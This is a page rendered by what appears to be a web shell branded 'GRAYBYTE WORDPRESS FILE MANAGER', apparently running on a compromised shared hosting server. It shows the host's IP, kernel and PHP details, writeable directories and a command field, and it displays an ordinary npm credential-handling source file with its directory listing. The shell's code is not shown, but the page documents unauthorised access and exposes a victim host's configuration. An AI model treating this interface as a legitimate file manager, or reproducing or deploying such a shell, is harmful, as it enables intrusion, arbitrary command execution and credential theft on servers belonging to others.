GRAYBYTE WORDPRESS FILE MANAGER7392

Server IP : 198.54.121.189 / Your IP : 216.73.216.140
System : Linux premium69.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
PHP Version : 7.4.33
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /usr/lib/node_modules/npm/lib/config/
Upload Files :
Current_dir [ Not Writeable ] Document_root [ Writeable ]

Command :


Current File : /usr/lib/node_modules/npm/lib/config//set-credentials-by-uri.js
var assert = require('assert')

var toNerfDart = require('./nerf-dart.js')

module.exports = setCredentialsByURI

function setCredentialsByURI (uri, c) {
  assert(uri && typeof uri === 'string', 'registry URL is required')
  assert(c && typeof c === 'object', 'credentials are required')

  var nerfed = toNerfDart(uri)

  if (c.token) {
    this.set(nerfed + ':_authToken', c.token, 'user')
    this.del(nerfed + ':_password', 'user')
    this.del(nerfed + ':username', 'user')
    this.del(nerfed + ':email', 'user')
    this.del(nerfed + ':always-auth', 'user')
  } else if (c.username || c.password || c.email) {
    assert(c.username, 'must include username')
    assert(c.password, 'must include password')
    assert(c.email, 'must include email address')

    this.del(nerfed + ':_authToken', 'user')

    var encoded = Buffer.from(c.password, 'utf8').toString('base64')
    this.set(nerfed + ':_password', encoded, 'user')
    this.set(nerfed + ':username', c.username, 'user')
    this.set(nerfed + ':email', c.email, 'user')

    if (c.alwaysAuth !== undefined) {
      this.set(nerfed + ':always-auth', c.alwaysAuth, 'user')
    } else {
      this.del(nerfed + ':always-auth', 'user')
    }
  } else {
    throw new Error('No credentials to set.')
  }
}

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
March 03 2024 22:36:29
root / root
0755
bin-links.js
0.699 KB
March 10 2021 14:36:36
root / root
0644
clear-credentials-by-uri.js
0.413 KB
March 10 2021 14:36:36
root / root
0644
cmd-list.js
2.168 KB
March 10 2021 14:36:36
root / root
0644
core.js
10.897 KB
March 10 2021 14:36:36
root / root
0644
defaults.js
11.45 KB
March 10 2021 14:36:36
root / root
0644
figgy-config.js
2.308 KB
March 10 2021 14:36:36
root / root
0644
gentle-fs.js
0.671 KB
March 10 2021 14:36:36
root / root
0644
get-credentials-by-uri.js
2.158 KB
March 10 2021 14:36:36
root / root
0644
lifecycle.js
0.831 KB
March 10 2021 14:36:36
root / root
0644
load-cafile.js
0.666 KB
March 10 2021 14:36:36
root / root
0644
load-prefix.js
1.3 KB
March 10 2021 14:36:36
root / root
0644
nerf-dart.js
0.46 KB
March 10 2021 14:36:36
root / root
0644
set-credentials-by-uri.js
1.237 KB
March 10 2021 14:36:36
root / root
0644
set-user.js
0.74 KB
March 10 2021 14:36:36
root / root
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF